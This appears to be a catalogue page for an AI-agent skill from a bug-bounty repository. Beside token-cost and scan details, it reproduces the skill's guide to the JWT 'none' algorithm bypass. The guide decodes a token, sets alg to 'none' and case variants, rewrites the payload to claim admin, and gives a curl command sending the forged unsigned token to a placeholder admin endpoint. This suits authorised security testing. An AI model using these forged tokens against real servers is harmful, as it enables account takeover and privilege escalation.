jwt-null-signature

jwt-null-signature is a skill for Claude Code, Codex from ShulkwiSEC/bb-huge. It costs 60 tokens per session (1,258 once invoked), scanned A, original, MIT.

A security testing guide for JWTs, the signed tokens web applications use to identify users and their permissions. It checks whether a server accepts a token marked as having no signature.

In plain words
What is it for?
Testing JWT verification in web applications and microservices within an authorised security assessment.
Why use it?
It helps reveal authentication flaws that could let someone alter token contents and access another user's account or higher privileges.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patte.

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

Security

Grade A, and why

jwt-null-signature scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

JWT 'None' Algorithm Bypass

When to Use

  • When assessing web applications or microservices that utilize JWTs for authentication and authorization.
  • Specifically during the initial phases of analyzing a JWT implementation to check for fundamental configuration flaws in token verification.

Prerequisites

  • Authorized scope and target URLs from bug bounty program
  • Burp Suite Professional (or Community) configured with browser proxy
  • Familiarity with OWASP Top 10 and common web vulnerability classes
  • SecLists wordlists for fuzzing and enumeration

Workflow

Phase 1: Capture and Decode the Token

Intercept a valid request containing your JWT (usually in the Authorization: Bearer <token> header or a cookie). A JWT consists of three base64-url encoded parts separated by periods: Header.Payload.Signature.

# Concept: Decode the Header and Payload Token: eyJhbGciOiJIUzI1NiIsInR5cCI...
echo "eyJhbGciOiJIUzI1NiIsInR5cCI..." | base64 -d
# Header Output: {"alg":"HS256","typ":"JWT"}

Phase 2: Modify Header to 'None' Algorithm

Change the alg value in the header. Servers might accept variations of the string "none".

// {"alg": "none", "typ": "JWT"}
// Other variations to try: "None", "NONE", "nOnE"

Re-encode this modified header to Base64-URL format (ensure no padding =).

Phase 3: Modify Payload (Elevation of Privilege)

Modify the payload to elevate privileges or impersonate another user.

// {"sub": "admin", "iat": 1516239022, "admin": true}

Re-encode the modified payload to Base64-URL format.

Phase 4: Construct and Send the Forged Token

Combine the new header and payload, appending a trailing dot, but remove the signature completely.

# [Base64_Header_None].[Base64_Payload_Admin].

Send the request with the new token via Burp Suite or curl.

# curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImlhdCI6MTUxNjIzOTAyMiwiYWRtaW4iOnRydWV9." http://target.local/api/admin

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

jwt-null-signature is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 2mo ago), licensed MIT. It adds 60 tokens to every session and 1,258 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
